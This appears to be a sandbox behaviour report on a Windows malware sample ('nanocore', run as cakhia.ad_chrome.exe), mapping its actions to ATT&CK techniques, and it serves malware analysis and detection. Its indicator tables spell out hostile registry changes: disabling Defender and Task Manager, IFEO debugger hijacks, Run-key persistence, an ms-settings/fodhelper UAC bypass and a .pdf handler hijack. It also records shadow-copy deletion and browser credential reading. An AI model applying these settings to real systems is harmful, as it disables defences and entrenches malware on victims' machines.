nanocore | 0e69688786813545e1a2f42ec05322c533f1e58794184219735eae2267c7f6fc

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	cakhia.ad_chrome.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3168	powershell.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	cakhia.ad_chrome.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	cakhia.ad_chrome.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	cakhia.ad_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\cakhia.ad_chrome.exe"	cakhia.ad_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	cakhia.ad_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\cakhia.ad_chrome.exe"	cakhia.ad_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	cakhia.ad_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\cakhia.ad_chrome.exe"	cakhia.ad_chrome.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

persistence privilege_escalation

Disable or Modify System Firewall

T1562.004

pid	Process
3272	netsh.exe

Creates a file in the Startup directory 1 TTPs 64 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_73.pdf	cakhia.ad_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_112.pdf	cakhia.ad_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_113.pdf	cakhia.ad_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_120.pdf	cakhia.ad_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_156.pdf	cakhia.ad_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_165.pdf	cakhia.ad_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_171.pdf	cakhia.ad_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_108.pdf	cakhia.ad_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_9.pdf	cakhia.ad_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_34.pdf	cakhia.ad_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_88.pdf	cakhia.ad_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_119.pdf	cakhia.ad_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_127.pdf	cakhia.ad_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_11.pdf	cakhia.ad_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_68.pdf	cakhia.ad_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_115.pdf	cakhia.ad_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_133.pdf	cakhia.ad_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_166.pdf	cakhia.ad_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_197.pdf	cakhia.ad_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_198.pdf	cakhia.ad_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_198.pdf	cakhia.ad_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_13.pdf	cakhia.ad_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_8.pdf	cakhia.ad_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_90.pdf	cakhia.ad_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_129.pdf	cakhia.ad_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_183.pdf	cakhia.ad_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_199.pdf	cakhia.ad_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_31.pdf	cakhia.ad_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_41.pdf	cakhia.ad_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_46.pdf	cakhia.ad_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_64.pdf	cakhia.ad_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_161.pdf	cakhia.ad_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_181.pdf	cakhia.ad_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_1.pdf	cakhia.ad_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_50.pdf	cakhia.ad_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_149.pdf	cakhia.ad_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_151.pdf	cakhia.ad_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_158.pdf	cakhia.ad_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_18.pdf	cakhia.ad_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_25.pdf	cakhia.ad_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_46.pdf	cakhia.ad_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_58.pdf	cakhia.ad_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_99.pdf	cakhia.ad_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_113.pdf	cakhia.ad_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_176.pdf	cakhia.ad_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_7.pdf	cakhia.ad_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_5.pdf	cakhia.ad_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_34.pdf	cakhia.ad_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_168.pdf	cakhia.ad_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_22.pdf	cakhia.ad_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_43.pdf	cakhia.ad_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_169.pdf	cakhia.ad_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_27.pdf	cakhia.ad_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_42.pdf	cakhia.ad_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_104.pdf	cakhia.ad_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_122.pdf	cakhia.ad_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_18.pdf	cakhia.ad_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_43.pdf	cakhia.ad_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_57.pdf	cakhia.ad_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_62.pdf	cakhia.ad_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_151.pdf	cakhia.ad_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_76.pdf	cakhia.ad_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_104.pdf	cakhia.ad_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_125.pdf	cakhia.ad_chrome.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\cakhia.ad_chrome.exe"	cakhia.ad_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\cakhia.ad_chrome.exe"	cakhia.ad_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\cakhia.ad_chrome.exe"	cakhia.ad_chrome.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
5428	tasklist.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\svchost.exe	cakhia.ad_chrome.exe
File created	C:\Windows\system32\sysupdate.exe	cakhia.ad_chrome.exe
File opened for modification	C:\Windows\system32\sysupdate.exe	cakhia.ad_chrome.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
4144	wscript.exe
1300	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	cakhia.ad_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	cakhia.ad_chrome.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5112	sc.exe
3016	sc.exe
1704	sc.exe
4564	sc.exe
3216	sc.exe
4448	sc.exe
688	sc.exe
612	sc.exe
8	sc.exe
4484	sc.exe
4508	sc.exe
5268	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4852	cmd.exe
4556	cmd.exe
2456	cmd.exe
3280	cmd.exe
1356	cmd.exe
4832	cmd.exe
3312	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3480	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
2384	ipconfig.exe
5640	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
3292	systeminfo.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
3932	vssadmin.exe
788	vssadmin.exe
5336	vssadmin.exe

Modifies Control Panel 1 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Control Panel\Desktop\WallpaperStyle = "2"	cakhia.ad_chrome.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134302839860767128"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe

Modifies registry class 16 IoCs

description	ioc	Process
Key deleted	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings	cakhia.ad_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings	cakhia.ad_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell	cakhia.ad_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open\command	cakhia.ad_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell	cakhia.ad_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\cakhia.ad_chrome.exe\" \"%1\""	cakhia.ad_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open	cakhia.ad_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	cakhia.ad_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	cakhia.ad_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	cakhia.ad_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	cakhia.ad_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet"	cakhia.ad_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open\command	cakhia.ad_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open	cakhia.ad_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\cakhia.ad_chrome.exe"	cakhia.ad_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open\command\DelegateExecute	cakhia.ad_chrome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
4244	schtasks.exe
2384	schtasks.exe
2348	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4396	chrome.exe
4396	chrome.exe
3168	powershell.exe
3168	powershell.exe
3168	powershell.exe
1368	WMIC.exe
1368	WMIC.exe
1368	WMIC.exe
1368	WMIC.exe
4188	cakhia.ad_chrome.exe
4188	cakhia.ad_chrome.exe
4188	cakhia.ad_chrome.exe
4188	cakhia.ad_chrome.exe
4188	cakhia.ad_chrome.exe
4188	cakhia.ad_chrome.exe
4188	cakhia.ad_chrome.exe
5620	WMIC.exe
5620	WMIC.exe
5620	WMIC.exe
5620	WMIC.exe
4188	cakhia.ad_chrome.exe
2524	WMIC.exe
2524	WMIC.exe
2524	WMIC.exe
2524	WMIC.exe
4188	cakhia.ad_chrome.exe
4188	cakhia.ad_chrome.exe
4188	cakhia.ad_chrome.exe
4188	cakhia.ad_chrome.exe
4188	cakhia.ad_chrome.exe
4188	cakhia.ad_chrome.exe
4188	cakhia.ad_chrome.exe
4188	cakhia.ad_chrome.exe
4188	cakhia.ad_chrome.exe
4188	cakhia.ad_chrome.exe
4188	cakhia.ad_chrome.exe
4188	cakhia.ad_chrome.exe
4188	cakhia.ad_chrome.exe
4188	cakhia.ad_chrome.exe
4188	cakhia.ad_chrome.exe
4188	cakhia.ad_chrome.exe
4188	cakhia.ad_chrome.exe
4188	cakhia.ad_chrome.exe
4188	cakhia.ad_chrome.exe
4188	cakhia.ad_chrome.exe
4188	cakhia.ad_chrome.exe
4188	cakhia.ad_chrome.exe
4188	cakhia.ad_chrome.exe
4188	cakhia.ad_chrome.exe
4188	cakhia.ad_chrome.exe
4188	cakhia.ad_chrome.exe
4188	cakhia.ad_chrome.exe
4188	cakhia.ad_chrome.exe
4188	cakhia.ad_chrome.exe
4188	cakhia.ad_chrome.exe
4188	cakhia.ad_chrome.exe
4188	cakhia.ad_chrome.exe
4188	cakhia.ad_chrome.exe
4188	cakhia.ad_chrome.exe
4188	cakhia.ad_chrome.exe
4188	cakhia.ad_chrome.exe
4188	cakhia.ad_chrome.exe
4188	cakhia.ad_chrome.exe
4188	cakhia.ad_chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4188	cakhia.ad_chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs

pid	Process
4396	chrome.exe
4396	chrome.exe
4396	chrome.exe
4396	chrome.exe
4396	chrome.exe
4396	chrome.exe
4396	chrome.exe
4396	chrome.exe
4396	chrome.exe
4396	chrome.exe
4396	chrome.exe
4396	chrome.exe
4396	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4396	chrome.exe
Token: SeCreatePagefilePrivilege	4396	chrome.exe
Token: SeShutdownPrivilege	4396	chrome.exe
Token: SeCreatePagefilePrivilege	4396	chrome.exe
Token: SeDebugPrivilege	3168	powershell.exe
Token: SeShutdownPrivilege	4396	chrome.exe
Token: SeCreatePagefilePrivilege	4396	chrome.exe
Token: SeShutdownPrivilege	4396	chrome.exe
Token: SeCreatePagefilePrivilege	4396	chrome.exe
Token: SeShutdownPrivilege	4396	chrome.exe
Token: SeCreatePagefilePrivilege	4396	chrome.exe
Token: SeShutdownPrivilege	4396	chrome.exe
Token: SeCreatePagefilePrivilege	4396	chrome.exe
Token: SeShutdownPrivilege	4396	chrome.exe
Token: SeCreatePagefilePrivilege	4396	chrome.exe
Token: SeBackupPrivilege	2876	vssvc.exe
Token: SeRestorePrivilege	2876	vssvc.exe
Token: SeAuditPrivilege	2876	vssvc.exe
Token: SeIncreaseQuotaPrivilege	1368	WMIC.exe
Token: SeSecurityPrivilege	1368	WMIC.exe
Token: SeTakeOwnershipPrivilege	1368	WMIC.exe
Token: SeLoadDriverPrivilege	1368	WMIC.exe
Token: SeSystemProfilePrivilege	1368	WMIC.exe
Token: SeSystemtimePrivilege	1368	WMIC.exe
Token: SeProfSingleProcessPrivilege	1368	WMIC.exe
Token: SeIncBasePriorityPrivilege	1368	WMIC.exe
Token: SeCreatePagefilePrivilege	1368	WMIC.exe
Token: SeBackupPrivilege	1368	WMIC.exe
Token: SeRestorePrivilege	1368	WMIC.exe
Token: SeShutdownPrivilege	1368	WMIC.exe
Token: SeDebugPrivilege	1368	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1368	WMIC.exe
Token: SeRemoteShutdownPrivilege	1368	WMIC.exe
Token: SeUndockPrivilege	1368	WMIC.exe
Token: SeManageVolumePrivilege	1368	WMIC.exe
Token: 33	1368	WMIC.exe
Token: 34	1368	WMIC.exe
Token: 35	1368	WMIC.exe
Token: 36	1368	WMIC.exe
Token: SeShutdownPrivilege	4396	chrome.exe
Token: SeCreatePagefilePrivilege	4396	chrome.exe
Token: SeIncreaseQuotaPrivilege	1368	WMIC.exe
Token: SeSecurityPrivilege	1368	WMIC.exe
Token: SeTakeOwnershipPrivilege	1368	WMIC.exe
Token: SeLoadDriverPrivilege	1368	WMIC.exe
Token: SeSystemProfilePrivilege	1368	WMIC.exe
Token: SeSystemtimePrivilege	1368	WMIC.exe
Token: SeProfSingleProcessPrivilege	1368	WMIC.exe
Token: SeIncBasePriorityPrivilege	1368	WMIC.exe
Token: SeCreatePagefilePrivilege	1368	WMIC.exe
Token: SeBackupPrivilege	1368	WMIC.exe
Token: SeRestorePrivilege	1368	WMIC.exe
Token: SeShutdownPrivilege	1368	WMIC.exe
Token: SeDebugPrivilege	1368	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1368	WMIC.exe
Token: SeRemoteShutdownPrivilege	1368	WMIC.exe
Token: SeUndockPrivilege	1368	WMIC.exe
Token: SeManageVolumePrivilege	1368	WMIC.exe
Token: 33	1368	WMIC.exe
Token: 34	1368	WMIC.exe
Token: 35	1368	WMIC.exe
Token: 36	1368	WMIC.exe
Token: SeShutdownPrivilege	4396	chrome.exe
Token: SeCreatePagefilePrivilege	4396	chrome.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
4396	chrome.exe
4396	chrome.exe
4396	chrome.exe
4396	chrome.exe
4396	chrome.exe
4396	chrome.exe
4396	chrome.exe
4396	chrome.exe
4396	chrome.exe
4396	chrome.exe
4396	chrome.exe
4396	chrome.exe
4396	chrome.exe
4396	chrome.exe
4396	chrome.exe
4396	chrome.exe
4396	chrome.exe
4396	chrome.exe
4396	chrome.exe
4396	chrome.exe
4396	chrome.exe
4396	chrome.exe
4396	chrome.exe
4396	chrome.exe
4396	chrome.exe
4396	chrome.exe
4396	chrome.exe
4396	chrome.exe
4396	chrome.exe
4396	chrome.exe
4396	chrome.exe
4396	chrome.exe
4396	chrome.exe
4396	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
4396	chrome.exe
4396	chrome.exe
4396	chrome.exe
4396	chrome.exe
4396	chrome.exe
4396	chrome.exe
4396	chrome.exe
4396	chrome.exe
4396	chrome.exe
4396	chrome.exe
4396	chrome.exe
4396	chrome.exe
4396	chrome.exe
4396	chrome.exe
4396	chrome.exe
4396	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4188	cakhia.ad_chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4188 wrote to memory of 4396	4188	cakhia.ad_chrome.exe	88
PID 4396 wrote to memory of 4828	4396	chrome.exe	89
PID 4188 wrote to memory of 3168	4188	cakhia.ad_chrome.exe	90
PID 4396 wrote to memory of 1808	4396	chrome.exe	93
PID 4396 wrote to memory of 1808	4396	chrome.exe	93
PID 4396 wrote to memory of 3480	4396	chrome.exe	94
PID 4396 wrote to memory of 5200	4396	chrome.exe	95
PID 4396 wrote to memory of 5200	4396	chrome.exe	95
PID 4188 wrote to memory of 4484	4188	cakhia.ad_chrome.exe	92
PID 4396 wrote to memory of 3180	4396	chrome.exe	98
PID 4396 wrote to memory of 3416	4396	chrome.exe	99
PID 4396 wrote to memory of 3180	4396	chrome.exe	98
PID 4396 wrote to memory of 3416	4396	chrome.exe	99
PID 4188 wrote to memory of 4508	4188	cakhia.ad_chrome.exe	137
PID 4188 wrote to memory of 3216	4188	cakhia.ad_chrome.exe	102
PID 4396 wrote to memory of 3272	4396	chrome.exe	161
PID 4396 wrote to memory of 3272	4396	chrome.exe	161
PID 4188 wrote to memory of 5268	4188	cakhia.ad_chrome.exe	105
PID 4188 wrote to memory of 4448	4188	cakhia.ad_chrome.exe	107
PID 4188 wrote to memory of 688	4188	cakhia.ad_chrome.exe	109
PID 4188 wrote to memory of 5112	4188	cakhia.ad_chrome.exe	111
PID 4188 wrote to memory of 3016	4188	cakhia.ad_chrome.exe	114
PID 4188 wrote to memory of 5100	4188	cakhia.ad_chrome.exe	116
PID 4188 wrote to memory of 612	4188	cakhia.ad_chrome.exe	117
PID 5100 wrote to memory of 4896	5100	fodhelper.exe	120
PID 4188 wrote to memory of 1704	4188	cakhia.ad_chrome.exe	119
